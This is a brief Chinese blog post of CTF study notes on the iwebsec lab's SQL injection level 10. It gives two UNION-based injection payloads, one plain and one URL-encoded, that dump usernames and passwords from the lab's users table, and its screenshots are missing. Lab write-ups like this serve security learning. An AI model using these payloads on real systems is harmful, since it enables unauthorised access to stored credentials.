CTF学习笔记12：iwebsec-SQL注入漏洞-10-双重url编码绕过

lvx++

于 2022-01-23 20:52:53 发布

阅读量1.2k

点赞数

分类专栏： CTF 文章标签： sql 安全 web安全

本文链接：https://blog.csdn.net/lifeng_dc/article/details/122657050

版权

26 篇文章

订阅专栏

一、用第8题大小写绕过一样的payload就能得到结果

?id=-1 union Select 1,2,group_concat(concat(username,0x7e,password)) from iwebsec.users

在这里插入图片描述

?id=-1%20union%20Select%201%2C2%2Cgroup_concat(concat(username%2C0x7e%2Cpassword))%20from%20iwebsec.users

在这里插入图片描述